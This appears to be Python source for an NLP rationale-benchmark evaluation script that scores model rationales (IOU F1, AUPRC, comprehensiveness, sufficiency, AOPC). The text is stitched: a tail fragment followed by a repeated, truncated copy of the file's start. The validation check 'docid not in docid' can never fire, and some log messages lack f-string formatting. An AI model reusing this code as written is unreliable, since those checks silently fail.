if use_tokens:
field = 'soft_rationale_predictions'
else:
field = 'soft_sentence_predictions'
for inst in instances:
for rat in inst['rationales']:
docid = rat['docid']
scores = rat[field]
key = (inst['annotation_id'], docid)
assert len(scores) == len(docs[docid])
if key in key_to_annotation :
assert len(scores) == len(key_to_annotation[key])
else :
#In case model makes a prediction on docuemnt(s) for which ground truth evidence is not present
key_to_annotation[key] = [False for _ in docs[docid]]
ret.append(PositionScoredDocument(inst['annotation_id'], docid, tuple(scores), tuple(key_to_annotation[key])))
return ret
def _f1(_p, _r):
if _p == 0 or _r == 0:
return 0
return 2 * _p * _r / (_p + _r)
def _keyed_rationale_from_list(rats: List[Rationale]) -> Dict[Tuple[str, str], Rationale]:
ret = defaultdict(set)
for r in rats:
ret[(r.ann_id, r.docid)].add(r)
return ret
def partial_match_score(truth: List[Rationale], pred: List[Rationale], thresholds: List[float]) -> List[Dict[str, Any]]:
"""Computes a partial match F1
Computes an instance-level (annotation) micro- and macro-averaged F1 score.
True Positives are computed by using intersection-over-union and
thresholding the resulting intersection-over-union fraction.
Micro-average results are computed by ignoring instance level distinctions
in the TP calculation (and recall, and precision, and finally the F1 of
those numbers). Macro-average results are computed first by measuring
instance (annotation + document) precisions and recalls, averaging those,
and finally computing an F1 of the resulting average.
"""
ann_to_rat = _keyed_rationale_from_list(truth)
pred_to_rat = _keyed_rationale_from_list(pred)
num_classifications = {k:len(v) for k,v in pred_to_rat.items()}
num_truth = {k:len(v) for k,v in ann_to_rat.items()}
ious = defaultdict(dict)
for k in set(ann_to_rat.keys()) | set(pred_to_rat.keys()):
for p in pred_to_rat.get(k, []):
best_iou = 0.0
for t in ann_to_rat.get(k, []):
num = len(set(range(p.start_token, p.end_token)) & set(range(t.start_token, t.end_token)))
denom = len(set(range(p.start_token, p.end_token)) | set(range(t.start_token, t.end_token)))
iou = 0 if denom == 0 else num / denom
if iou > best_iou:
best_iou = iou
ious[k][p] = best_iou
scores = []
for threshold in thresholds:
threshold_tps = dict()
for k, vs in ious.items():
threshold_tps[k] = sum(int(x >= threshold) for x in vs.values())
micro_r = sum(threshold_tps.values()) / sum(num_truth.values()) if sum(num_truth.values()) > 0 else 0
micro_p = sum(threshold_tps.values()) / sum(num_classifications.values()) if sum(num_classifications.values()) > 0 else 0
micro_f1 = _f1(micro_r, micro_p)
macro_rs = list(threshold_tps.get(k, 0.0) / n if n > 0 else 0 for k, n in num_truth.items())
macro_ps = list(threshold_tps.get(k, 0.0) / n if n > 0 else 0 for k, n in num_classifications.items())
macro_r = sum(macro_rs) / len(macro_rs) if len(macro_rs) > 0 else 0
macro_p = sum(macro_ps) / len(macro_ps) if len(macro_ps) > 0 else 0
macro_f1 = _f1(macro_r, macro_p)
scores.append({'threshold': threshold,
'micro': {
'p': micro_p,
'r': micro_r,
'f1': micro_f1
},
'macro': {
'p': macro_p,
'r': macro_r,
'f1': macro_f1
},
})
return scores
def score_hard_rationale_predictions(truth: List[Rationale], pred: List[Rationale]) -> Dict[str, Dict[str, float]]:
"""Computes instance (annotation)-level micro/macro averaged F1s"""
scores = dict()
truth = set(truth)
pred = set(pred)
micro_prec = len(truth & pred) / len(pred)
micro_rec = len(truth & pred) / len(truth)
micro_f1 = _f1(micro_prec, micro_rec)
scores['instance_micro'] = {
'p': micro_prec,
'r': micro_rec,
'f1': micro_f1,
}
ann_to_rat = _keyed_rationale_from_list(truth)
pred_to_rat = _keyed_rationale_from_list(pred)
instances_to_scores = dict()
for k in set(ann_to_rat.keys()) | (pred_to_rat.keys()):
if len(pred_to_rat.get(k, set())) > 0:
instance_prec = len(ann_to_rat.get(k, set()) & pred_to_rat.get(k, set())) / len(pred_to_rat[k])
else:
instance_prec = 0
if len(ann_to_rat.get(k, set())) > 0:
instance_rec = len(ann_to_rat.get(k, set()) & pred_to_rat.get(k, set())) / len(ann_to_rat[k])
else:
instance_rec = 0
instance_f1 = _f1(instance_prec, instance_rec)
instances_to_scores[k] = {
'p': instance_prec,
'r': instance_rec,
'f1': instance_f1,
}
# these are calculated as sklearn would
macro_prec = sum(instance['p'] for instance in instances_to_scores.values()) / len(instances_to_scores)
macro_rec = sum(instance['r'] for instance in instances_to_scores.values()) / len(instances_to_scores)
macro_f1 = sum(instance['f1'] for instance in instances_to_scores.values()) / len(instances_to_scores)
scores['instance_macro'] = {
'p': macro_prec,
'r': macro_rec,
'f1': macro_f1,
}
return scores
def _auprc(truth: Dict[Any, List[bool]], preds: Dict[Any, List[float]]) -> float:
if len(preds) == 0:
return 0.0
assert len(truth.keys() and preds.keys()) == len(truth.keys())
aucs = []
for k, true in truth.items():
pred = preds[k]
true = [int(t) for t in true]
precision, recall, _ = precision_recall_curve(true, pred)
aucs.append(auc(recall, precision))
return np.average(aucs)
def _score_aggregator(truth: Dict[Any, List[bool]], preds: Dict[Any, List[float]], score_function: Callable[[List[float], List[float]], float ], discard_single_class_answers: bool) -> float:
if len(preds) == 0:
return 0.0
assert len(truth.keys() and preds.keys()) == len(truth.keys())
scores = []
for k, true in truth.items():
pred = preds[k]
if (all(true) or all(not x for x in true)) and discard_single_class_answers:
continue
true = [int(t) for t in true]
scores.append(score_function(true, pred))
return np.average(scores)
def score_soft_tokens(paired_scores: List[PositionScoredDocument]) -> Dict[str, float]:
truth = {(ps.ann_id, ps.docid): ps.truths for ps in paired_scores}
pred = {(ps.ann_id, ps.docid): ps.scores for ps in paired_scores}
auprc_score = _auprc(truth, pred)
ap = _score_aggregator(truth, pred, average_precision_score, True)
roc_auc = _score_aggregator(truth, pred, roc_auc_score, True)
return {
'auprc': auprc_score,
'average_precision': ap,
'roc_auc_score': roc_auc,
}
def _instances_aopc(instances: List[dict], thresholds: List[float], key: str) -> Tuple[float, List[float]]:
dataset_scores = []
for inst in instances:
kls = inst['classification']
beta_0 = inst['classification_scores'][kls]
instance_scores = []
for score in filter(lambda x : x['threshold'] in thresholds, sorted(inst['thresholded_scores'], key=lambda x: x['threshold'])):
beta_k = score[key][kls]
delta = beta_0 - beta_k
instance_scores.append(delta)
assert len(instance_scores) == len(thresholds)
dataset_scores.append(instance_scores)
dataset_scores = np.array(dataset_scores)
# a careful reading of Samek, et al. "Evaluating the Visualization of What a Deep Neural Network Has Learned"
# and some algebra will show the reader that we can average in any of several ways and get the same result:
# over a flattened array, within an instance and then between instances, or over instances (by position) an
# then across them.
final_score = np.average(dataset_scores)
position_scores = np.average(dataset_scores, axis=0).tolist()
return final_score, position_scores
def compute_aopc_scores(instances: List[dict], aopc_thresholds: List[float]):
if aopc_thresholds is None :
aopc_thresholds = sorted(set(chain.from_iterable([x['threshold'] for x in y['thresholded_scores']] for y in instances)))
aopc_comprehensiveness_score, aopc_comprehensiveness_points = _instances_aopc(instances, aopc_thresholds, 'comprehensiveness_classification_scores')
aopc_sufficiency_score, aopc_sufficiency_points = _instances_aopc(instances, aopc_thresholds, 'sufficiency_classification_scores')
return aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points
def score_classifications(instances: List[dict], annotations: List[Annotation], docs: Dict[str, List[str]], aopc_thresholds: List[float]) -> Dict[str, float]:
def compute_kl(cls_scores_, faith_scores_):
keys = list(cls_scores_.keys())
cls_scores_ = [cls_scores_[k] for k in keys]
faith_scores_ = [faith_scores_[k] for k in keys]
return entropy(faith_scores_, cls_scores_)
labels = list(set(x.classification for x in annotations))
labels +=['normal']
label_to_int = {l:i for i,l in enumerate(labels)}
key_to_instances = {inst['annotation_id']:inst for inst in instances}
truth = []
predicted = []
for ann in annotations:
truth.append(label_to_int[ann.classification])
inst = key_to_instances[ann.annotation_id]
predicted.append(label_to_int[inst['classification']])
classification_scores = classification_report(truth, predicted, output_dict=True, target_names=labels, digits=3)
accuracy = accuracy_score(truth, predicted)
if 'comprehensiveness_classification_scores' in instances[0]:
comprehensiveness_scores = [x['classification_scores'][x['classification']] - x['comprehensiveness_classification_scores'][x['classification']] for x in instances]
comprehensiveness_score = np.average(comprehensiveness_scores)
else :
comprehensiveness_score = None
comprehensiveness_scores = None
if 'sufficiency_classification_scores' in instances[0]:
sufficiency_scores = [x['classification_scores'][x['classification']] - x['sufficiency_classification_scores'][x['classification']] for x in instances]
sufficiency_score = np.average(sufficiency_scores)
else :
sufficiency_score = None
sufficiency_scores = None
if 'comprehensiveness_classification_scores' in instances[0]:
comprehensiveness_entropies = [entropy(list(x['classification_scores'].values())) - entropy(list(x['comprehensiveness_classification_scores'].values())) for x in instances]
comprehensiveness_entropy = np.average(comprehensiveness_entropies)
comprehensiveness_kl = np.average(list(compute_kl(x['classification_scores'], x['comprehensiveness_classification_scores']) for x in instances))
else:
comprehensiveness_entropies = None
comprehensiveness_kl = None
comprehensiveness_entropy = None
if 'sufficiency_classification_scores' in instances[0]:
sufficiency_entropies = [entropy(list(x['classification_scores'].values())) - entropy(list(x['sufficiency_classification_scores'].values())) for x in instances]
sufficiency_entropy = np.average(sufficiency_entropies)
sufficiency_kl = np.average(list(compute_kl(x['classification_scores'], x['sufficiency_classification_scores']) for x in instances))
else:
sufficiency_entropies = None
sufficiency_kl = None
sufficiency_entropy = None
if 'thresholded_scores' in instances[0]:
aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points = compute_aopc_scores(instances, aopc_thresholds)
else:
aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points = None, None, None, None, None
if 'tokens_to_flip' in instances[0]:
token_percentages = []
for ann in annotations:
# in practice, this is of size 1 for everything except e-snli
docids = set(ev.docid for ev in chain.from_iterable(ann.evidences))
inst = key_to_instances[ann.annotation_id]
tokens = inst['tokens_to_flip']
doc_lengths = sum(len(docs[d]) for d in docids)
token_percentages.append(tokens / doc_lengths)
token_percentages = np.average(token_percentages)
else:
token_percentages = None
return {
'accuracy': accuracy,
'prf': classification_scores,
'comprehensiveness': comprehensiveness_score,
'sufficiency': sufficiency_score,
'comprehensiveness_entropy': comprehensiveness_entropy,
'comprehensiveness_kl': comprehensiveness_kl,
'sufficiency_entropy': sufficiency_entropy,
'sufficiency_kl': sufficiency_kl,
'aopc_thresholds': aopc_thresholds,
'comprehensiveness_aopc': aopc_comprehensiveness_score,
'comprehensiveness_aopc_points': aopc_comprehensiveness_points,
'sufficiency_aopc': aopc_sufficiency_score,
'sufficiency_aopc_points': aopc_sufficiency_points,
}
def verify_instance(instance: dict, docs: Dict[str, list], thresholds: Set[float]):
error = False
docids = []
# verify the internal structure of these instances is correct:
# * hard predictions are present
# * start and end tokens are valid
# * soft rationale predictions, if present, must have the same document length
for rat in instance['rationales']:
docid = rat['docid']
if docid not in docid:
error = True
logging.info(f'Error! For instance annotation={instance['annotation_id']}, docid={docid} could not be found as a preprocessed document! Gave up on additional processing.')
continue
doc_length = len(docs[docid])
for h1 in rat.get('hard_rationale_predictions', []):
# verify that each token is valid
# verify that no annotations overlap
for h2 in rat.get('hard_rationale_predictions', []):
if h1 == h2:
continue
if len(set(range(h1['start_token'], h1['end_token'])) & set(range(h2['start_token'], h2['end_token']))) > 0:
logging.info(f'Error! For instance annotation={instance['annotation_id']}, docid={docid} {h1} and {h2} overlap!')
error = True
if h1['start_token'] > doc_length:
logging.info(f'Error! For instance annotation={instance['annotation_id']}, docid={docid} received an impossible tokenspan: {h1} for a document of length {doc_length}')
error = True
if h1['end_token'] > doc_length:
logging.info(f'Error! For instance annotation={instance['annotation_id']}, docid={docid} received an impossible tokenspan: {h1} for a document of length {doc_length}')
error = True
# length check for soft rationale
# note that either flattened_documents or sentence-broken documents must be passed in depending on result
soft_rationale_predictions = rat.get('soft_rationale_predictions', [])
if len(soft_rationale_predictions) > 0 and len(soft_rationale_predictions) != doc_length:
logging.info(f'Error! For instance annotation={instance['annotation_id']}, docid={docid} expected classifications for {doc_length} tokens but have them for {len(soft_rationale_predictions)} tokens instead!')
error = True
# count that one appears per-document
docids = Counter(docids)
for docid, count in docids.items():
if count > 1:
error = True
logging.info('Error! For instance annotation={instance["annotation_id"]}, docid={docid} appear {count} times, may only appear once!')
classification = instance.get('classification', '')
if not isinstance(classification, str):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, classification field {classification} is not a string!')
error = True
classification_scores = instance.get('classification_scores', dict())
if not isinstance(classification_scores, dict):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, classification_scores field {classification_scores} is not a dict!')
error = True
comprehensiveness_classification_scores = instance.get('comprehensiveness_classification_scores', dict())
if not isinstance(comprehensiveness_classification_scores, dict):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, comprehensiveness_classification_scores field {comprehensiveness_classification_scores} is not a dict!')
error = True
sufficiency_classification_scores = instance.get('sufficiency_classification_scores', dict())
if not isinstance(sufficiency_classification_scores, dict):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, sufficiency_classification_scores field {sufficiency_classification_scores} is not a dict!')
error = True
if ('classification' in instance) != ('classification_scores' in instance):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, when providing a classification, you must also provide classification scores!')
error = True
if ('comprehensiveness_classification_scores' in instance) and not ('classification' in instance):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, when providing a classification, you must also provide a comprehensiveness_classification_score')
error = True
if ('sufficiency_classification_scores' in instance) and not ('classification_scores' in instance):
logging.info(f'Error! For instance annotation={instance['annotation_id']}, when providing a sufficiency_classification_score, you must also provide a classification score!')
error = True
if 'thresholded_scores' in instance:
instance_thresholds = set(x['threshold'] for x in instance['thresholded_scores'])
if instance_thresholds != thresholds:
error = True
logging.info('Error: {instance["thresholded_scores"]} has thresholds that differ from previous thresholds: {thresholds}')
if 'comprehensiveness_classification_scores' not in instance\
or 'sufficiency_classification_scores' not in instance\
or 'classification' not in instance\
or 'classification_scores' not in instance:
error = True
logging.info('Error: {instance} must have comprehensiveness_classification_scores, sufficiency_classification_scores, classification, and classification_scores defined when including thresholded scores')
if not all('sufficiency_classification_scores' in x for x in instance['thresholded_scores']):
error = True
logging.info('Error: {instance} must have sufficiency_classification_scores for every threshold')
if not all('comprehensiveness_classification_scores' in x for x in instance['thresholded_scores']):
error = True
logging.info('Error: {instance} must have comprehensiveness_classification_scores for every threshold')
return error
def verify_instances(instances: List[dict], docs: Dict[str, list]):
annotation_ids = list(x['annotation_id'] for x in instances)
key_counter = Counter(annotation_ids)
multi_occurrence_annotation_ids = list(filter(lambda kv: kv[1] > 1, key_counter.items()))
error = False
if len(multi_occurrence_annotation_ids) > 0:
error = True
logging.info(f'Error in instances: {len(multi_occurrence_annotation_ids)} appear multiple times in the annotations file: {multi_occurrence_annotation_ids}')
failed_validation = set()
instances_with_classification = list()
instances_with_soft_rationale_predictions = list()
instances_with_soft_sentence_predictions = list()
instances_with_comprehensiveness_classifications = list()
instances_with_sufficiency_classifications = list()
instances_with_thresholded_scores = list()
if 'thresholded_scores' in instances[0]:
thresholds = set(x['threshold'] for x in instances[0]['thresholded_scores'])
else:
thresholds = None
for instance in instances:
instance_error = verify_instance(instance, docs, thresholds)
if instance_error:
error = True
failed_validation.add(instance['annotation_id'])
if instance.get('classification', None) != None:
instances_with_classification.append(instance)
if instance.get('comprehensiveness_classification_scores', None) != None:
instances_with_comprehensiveness_classifications.append(instance)
if instance.get('sufficiency_classification_scores', None) != None:
instances_with_sufficiency_classifications.append(instance)
has_soft_rationales = []
has_soft_sentences = []
for rat in instance['rationales']:
if rat.get('soft_rationale_predictions', None) != None:
has_soft_rationales.append(rat)
if rat.get('soft_sentence_predictions', None) != None:
has_soft_sentences.append(rat)
if len(has_soft_rationales) > 0:
instances_with_soft_rationale_predictions.append(instance)
if len(has_soft_rationales) != len(instance['rationales']):
error = True
logging.info(f'Error: instance {instance['annotation']} has soft rationales for some but not all reported documents!')
if len(has_soft_sentences) > 0:
instances_with_soft_sentence_predictions.append(instance)
if len(has_soft_sentences) != len(instance['rationales']):
error = True
logging.info(f'Error: instance {instance['annotation']} has soft sentences for some but not all reported documents!')
if 'thresholded_scores' in instance:
instances_with_thresholded_scores.append(instance)
logging.info(f'Error in instances: {len(failed_validation)} instances fail validation: {failed_validation}')
if len(instances_with_classification) != 0 and len(instances_with_classification) != len(instances):
logging.info(f'Either all {len(instances)} must have a classification or none may, instead {len(instances_with_classification)} do!')
error = True
if len(instances_with_soft_sentence_predictions) != 0 and len(instances_with_soft_sentence_predictions) != len(instances):
logging.info(f'Either all {len(instances)} must have a sentence prediction or none may, instead {len(instances_with_soft_sentence_predictions)} do!')
error = True
if len(instances_with_soft_rationale_predictions) != 0 and len(instances_with_soft_rationale_predictions) != len(instances):
logging.info(f'Either all {len(instances)} must have a soft rationale prediction or none may, instead {len(instances_with_soft_rationale_predictions)} do!')
error = True
if len(instances_with_comprehensiveness_classifications) != 0 and len(instances_with_comprehensiveness_classifications) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have a comprehensiveness classification or none may, instead {len(instances_with_comprehensiveness_classifications)} do!')
if len(instances_with_sufficiency_classifications) != 0 and len(instances_with_sufficiency_classifications) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have a sufficiency classification or none may, instead {len(instances_with_sufficiency_classifications)} do!')
if len(instances_with_thresholded_scores) != 0 and len(instances_with_thresholded_scores) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have thresholded scores or none may, instead {len(instances_with_thresholded_scores)} do!')
if error:
raise ValueError('Some instances are invalid, please fix your formatting and try again')
def _has_hard_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0]\
and len(results[0]['rationales']) > 0\
and 'hard_rationale_predictions' in results[0]['rationales'][0]\
and results[0]['rationales'][0]['hard_rationale_predictions'] is not None\
and len(results[0]['rationales'][0]['hard_rationale_predictions']) > 0
def _has_soft_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0] and len(results[0]['rationales']) > 0 and 'soft_rationale_predictions' in results[0]['rationales'][0] and results[0]['rationales'][0]['soft_rationale_predictions'] is not None
def _has_soft_sentence_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0] and len(results[0]['rationales']) > 0 and 'soft_sentence_predictions' in results[0]['rationales'][0] and results[0]['rationales'][0]['soft_sentence_predictions'] is not None
def _has_classifications(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'classification' in results[0] and results[0]['classification'] is not None
def main():
parser = argparse.ArgumentParser(description="""Computes rationale and final class classification scores""", formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--data_dir', dest='data_dir', required=True, help='Which directory contains a {train,val,test}.jsonl file?')
parser.add_argument('--split', dest='split', required=True, help='Which of {train,val,test} are we scoring on?')
parser.add_argument('--strict', dest='strict', required=False, action='store_true', default=False, help='Do we perform strict scoring?')
parser.add_argument('--results', dest='results', required=True, help="""Results File
Contents are expected to be jsonl of:
{
"annotation_id": str, required
# these classifications *must not* overlap
"rationales": List[
{
"docid": str, required
"hard_rationale_predictions": List[{
"start_token": int, inclusive, required
"end_token": int, exclusive, required
}], optional,
# token level classifications, a value must be provided per-token
# in an ideal world, these correspond to the hard-decoding above.
"soft_rationale_predictions": List[float], optional.
# sentence level classifications, a value must be provided for every
# sentence in each document, or not at all
"soft_sentence_predictions": List[float], optional.
}
],
# the classification the model made for the overall classification task
"classification": str, optional
# A probability distribution output by the model. We require this to be normalized.
"classification_scores": Dict[str, float], optional
# The next two fields are measures for how faithful your model is (the
# rationales it predicts are in some sense causal of the prediction), and
# how sufficient they are. We approximate a measure for comprehensiveness by
# asking that you remove the top k%% of tokens from your documents,
# running your models again, and reporting the score distribution in the
# "comprehensiveness_classification_scores" field.
# We approximate a measure of sufficiency by asking exactly the converse
# - that you provide model distributions on the removed k%% tokens.
# 'k' is determined by human rationales, and is documented in our paper.
# You should determine which of these tokens to remove based on some kind
# of information about your model: gradient based, attention based, other
# interpretability measures, etc.
# scores per class having removed k%% of the data, where k is determined by human comprehensive rationales
"comprehensiveness_classification_scores": Dict[str, float], optional
# scores per class having access to only k%% of the data, where k is determined by human comprehensive rationales
"sufficiency_classification_scores": Dict[str, float], optional
# the number of tokens required to flip the prediction - see "Is Attention Interpretable" by Serrano and Smith.
"tokens_to_flip": int, optional
"thresholded_scores": List[{
"threshold": float, required,
"comprehensiveness_classification_scores": like "classification_scores"
"sufficiency_classification_scores": like "classification_scores"
}], optional. if present, then "classification" and "classification_scores" must be present
}
When providing one of the optional fields, it must be provided for *every* instance.
The classification, classification_score, and comprehensiveness_classification_scores
must together be present for every instance or absent for every instance.
""")
parser.add_argument('--iou_thresholds', dest='iou_thresholds', required=False, nargs='+', type=float, default=[0.5], help='''Thresholds for IOU scoring.
These are used for "soft" or partial match scoring of rationale spans.
A span is considered a match if the size of the intersection of the prediction
and the annotation, divided by the union of the two spans, is larger than
the IOU threshold. This score can be computed for arbitrary thresholds.
''')
parser.add_argument('--score_file', dest='score_file', required=False, default=None, help='Where to write results?')
parser.add_argument('--aopc_thresholds', nargs='+', required=False, type=float, default=[0.01, 0.05, 0.1, 0.2, 0.5], help='Thresholds for AOPC Thresholds')
args = parser.parse_args()
results = load_jsonl(args.results)
docids = set(chain.from_iterable([rat['docid'] for rat in res['rationales']] for res in results))
docs = load_flattened_documents(args.data_dir, docids)
verify_instances(results, docs)
# load truth
annotations = annotations_from_jsonl(os.path.join(args.data_dir, args.split + '.jsonl'))
docids |= set(chain.from_iterable((ev.docid for ev in chain.from_iterable(ann.evidences)) for ann in annotations))
has_final_predictions = _has_classifications(results)
scores = dict()
if args.strict:
if not args.iou_thresholds:
raise ValueError("--iou_thresholds must be provided when running strict scoring")
if not has_final_predictions:
raise ValueError("We must have a 'classification', 'classification_score', and 'comprehensiveness_classification_score' field in order to perform scoring!")
# TODO think about offering a sentence level version of these scores.
if _has_hard_predictions(results):
truth = list(chain.from_iterable(Rationale.from_annotation(ann) for ann in annotations))
pred = list(chain.from_iterable(Rationale.from_instance(inst) for inst in results))
if args.iou_thresholds is not None:
iou_scores = partial_match_score(truth, pred, args.iou_thresholds)
scores['iou_scores'] = iou_scores
# NER style scoring
rationale_level_prf = score_hard_rationale_predictions(truth, pred)
scores['rationale_prf'] = rationale_level_prf
token_level_truth = list(chain.from_iterable(rat.to_token_level() for rat in truth))
token_level_pred = list(chain.from_iterable(rat.to_token_level() for rat in pred))
token_level_prf = score_hard_rationale_predictions(token_level_truth, token_level_pred)
scores['token_prf'] = token_level_prf
else:
logging.info("No hard predictions detected, skipping rationale scoring")
if _has_soft_predictions(results):
flattened_documents = load_flattened_documents(args.data_dir, docids)
paired_scoring = PositionScoredDocument.from_results(results, annotations, flattened_documents, use_tokens=True)
token_scores = score_soft_tokens(paired_scoring)
scores['token_soft_metrics'] = token_scores
else:
logging.info("No soft predictions detected, skipping rationale scoring")
if _has_soft_sentence_predictions(results):
documents = load_documents(args.data_dir, docids)
paired_scoring = PositionScoredDocument.from_results(results, annotations, documents, use_tokens=False)
sentence_scores = score_soft_tokens(paired_scoring)
scores['sentence_soft_metrics'] = sentence_scores
else:
logging.info("No sentence level predictions detected, skipping sentence-level diagnostic")
if has_final_predictions:
flattened_documents = load_flattened_documents(args.data_dir, docids)
class_results = score_classifications(results, annotations, flattened_documents, args.aopc_thresholds)
scores['classification_scores'] = class_results
else:
logging.info("No classification scores detected, skipping classification")
pprint.pprint(scores)
if args.score_file:
with open(args.score_file, 'w') as of:
json.dump(scores, of, indent=4, sort_keys=True)
if __name__ == '__main__':
main()
| import argparse
import json
import logging
import os
import pprint
from collections import Counter, defaultdict, namedtuple
from dataclasses import dataclass
from itertools import chain
from typing import Any, Callable, Dict, List, Set, Tuple
import numpy as np
import torch
from scipy.stats import entropy
from sklearn.metrics import accuracy_score, auc, average_precision_score, classification_report, precision_recall_curve, roc_auc_score
from rationale_benchmark.utils import (
Annotation,
Evidence,
annotations_from_jsonl,
load_jsonl,
load_documents,
load_flattened_documents
)
logging.basicConfig(level=logging.DEBUG, format='%(relativeCreated)6d %(threadName)s %(message)s')
# start_token is inclusive, end_token is exclusive
@dataclass(eq=True, frozen=True)
class Rationale:
ann_id: str
docid: str
start_token: int
end_token: int
def to_token_level(self) -> List['Rationale']:
ret = []
for t in range(self.start_token, self.end_token):
ret.append(Rationale(self.ann_id, self.docid, t, t+1))
return ret
@classmethod
def from_annotation(cls, ann: Annotation) -> List['Rationale']:
ret = []
for ev_group in ann.evidences:
for ev in ev_group:
ret.append(Rationale(ann.annotation_id, ev.docid, ev.start_token, ev.end_token))
return ret
@classmethod
def from_instance(cls, inst: dict) -> List['Rationale']:
ret = []
for rat in inst['rationales']:
for pred in rat.get('hard_rationale_predictions', []):
ret.append(Rationale(inst['annotation_id'], rat['docid'], pred['start_token'], pred['end_token']))
return ret
@dataclass(eq=True, frozen=True)
class PositionScoredDocument:
ann_id: str
docid: str
scores: Tuple[float]
truths: Tuple[bool]
@classmethod
def from_results(cls, instances: List[dict], annotations: List[Annotation], docs: Dict[str, List[Any]], use_tokens: bool=True) -> List['PositionScoredDocument']:
"""Creates a paired list of annotation ids/docids/predictions/truth values"""
key_to_annotation = dict()
for ann in annotations:
for ev in chain.from_iterable(ann.evidences):
key = (ann.annotation_id, ev.docid)
if key not in key_to_annotation:
key_to_annotation[key] = [False for _ in docs[ev.docid]]
if use_tokens:
start, end = ev.start_token, ev.end_token
else:
start, end = ev.start_sentence, ev.end_sentence
for t in range(start, end):
key_to_annotation[key][t] = True
ret = []
if use_tokens:
field = 'soft_rationale_predictions'
else:
field = 'soft_sentence_predictions'
for inst in instances:
for rat in inst['rationales']:
docid = rat['docid']
scores = rat[field]
key = (inst['annotation_id'], docid)
assert len(scores) == len(docs[docid])
if key in key_to_annotation :
assert len(scores) == len(key_to_annotation[key])
else :
#In case model makes a prediction on docuemnt(s) for which ground truth evidence is not present
key_to_annotation[key] = [False for _ in docs[docid]]
ret.append(PositionScoredDocument(inst['annotation_id'], docid, tuple(scores), tuple(key_to_annotation[key])))
return ret
def _f1(_p, _r):
if _p == 0 or _r == 0:
return 0
return 2 * _p * _r / (_p + _r)
def _keyed_rationale_from_list(rats: List[Rationale]) -> Dict[Tuple[str, str], Rationale]:
ret = defaultdict(set)
for r in rats:
ret[(r.ann_id, r.docid)].add(r)
return ret
def partial_match_score(truth: List[Rationale], pred: List[Rationale], thresholds: List[float]) -> List[Dict[str, Any]]:
"""Computes a partial match F1
Computes an instance-level (annotation) micro- and macro-averaged F1 score.
True Positives are computed by using intersection-over-union and
thresholding the resulting intersection-over-union fraction.
Micro-average results are computed by ignoring instance level distinctions
in the TP calculation (and recall, and precision, and finally the F1 of
those numbers). Macro-average results are computed first by measuring
instance (annotation + document) precisions and recalls, averaging those,
and finally computing an F1 of the resulting average.
"""
ann_to_rat = _keyed_rationale_from_list(truth)
pred_to_rat = _keyed_rationale_from_list(pred)
num_classifications = {k:len(v) for k,v in pred_to_rat.items()}
num_truth = {k:len(v) for k,v in ann_to_rat.items()}
ious = defaultdict(dict)
for k in set(ann_to_rat.keys()) | set(pred_to_rat.keys()):
for p in pred_to_rat.get(k, []):
best_iou = 0.0
for t in ann_to_rat.get(k, []):
num = len(set(range(p.start_token, p.end_token)) & set(range(t.start_token, t.end_token)))
denom = len(set(range(p.start_token, p.end_token)) | set(range(t.start_token, t.end_token)))
iou = 0 if denom == 0 else num / denom
if iou > best_iou:
best_iou = iou
ious[k][p] = best_iou
scores = []
for threshold in thresholds:
threshold_tps = dict()
for k, vs in ious.items():
threshold_tps[k] = sum(int(x >= threshold) for x in vs.values())
micro_r = sum(threshold_tps.values()) / sum(num_truth.values()) if sum(num_truth.values()) > 0 else 0
micro_p = sum(threshold_tps.values()) / sum(num_classifications.values()) if sum(num_classifications.values()) > 0 else 0
micro_f1 = _f1(micro_r, micro_p)
macro_rs = list(threshold_tps.get(k, 0.0) / n if n > 0 else 0 for k, n in num_truth.items())
macro_ps = list(threshold_tps.get(k, 0.0) / n if n > 0 else 0 for k, n in num_classifications.items())
macro_r = sum(macro_rs) / len(macro_rs) if len(macro_rs) > 0 else 0
macro_p = sum(macro_ps) / len(macro_ps) if len(macro_ps) > 0 else 0
macro_f1 = _f1(macro_r, macro_p)
scores.append({'threshold': threshold,
'micro': {
'p': micro_p,
'r': micro_r,
'f1': micro_f1
},
'macro': {
'p': macro_p,
'r': macro_r,
'f1': macro_f1
},
})
return scores
def score_hard_rationale_predictions(truth: List[Rationale], pred: List[Rationale]) -> Dict[str, Dict[str, float]]:
"""Computes instance (annotation)-level micro/macro averaged F1s"""
scores = dict()
truth = set(truth)
pred = set(pred)
micro_prec = len(truth & pred) / len(pred)
micro_rec = len(truth & pred) / len(truth)
micro_f1 = _f1(micro_prec, micro_rec)
scores['instance_micro'] = {
'p': micro_prec,
'r': micro_rec,
'f1': micro_f1,
}
ann_to_rat = _keyed_rationale_from_list(truth)
pred_to_rat = _keyed_rationale_from_list(pred)
instances_to_scores = dict()
for k in set(ann_to_rat.keys()) | (pred_to_rat.keys()):
if len(pred_to_rat.get(k, set())) > 0:
instance_prec = len(ann_to_rat.get(k, set()) & pred_to_rat.get(k, set())) / len(pred_to_rat[k])
else:
instance_prec = 0
if len(ann_to_rat.get(k, set())) > 0:
instance_rec = len(ann_to_rat.get(k, set()) & pred_to_rat.get(k, set())) / len(ann_to_rat[k])
else:
instance_rec = 0
instance_f1 = _f1(instance_prec, instance_rec)
instances_to_scores[k] = {
'p': instance_prec,
'r': instance_rec,
'f1': instance_f1,
}
# these are calculated as sklearn would
macro_prec = sum(instance['p'] for instance in instances_to_scores.values()) / len(instances_to_scores)
macro_rec = sum(instance['r'] for instance in instances_to_scores.values()) / len(instances_to_scores)
